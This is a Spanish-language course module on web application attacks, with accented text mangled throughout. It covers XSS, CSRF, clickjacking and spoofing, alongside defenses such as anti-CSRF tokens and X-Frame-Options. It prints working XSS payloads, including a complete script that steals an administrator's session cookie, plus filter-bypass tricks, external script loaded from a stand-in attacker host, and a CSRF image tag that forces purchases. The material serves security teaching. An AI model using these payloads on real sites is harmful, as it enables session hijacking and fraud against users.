negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
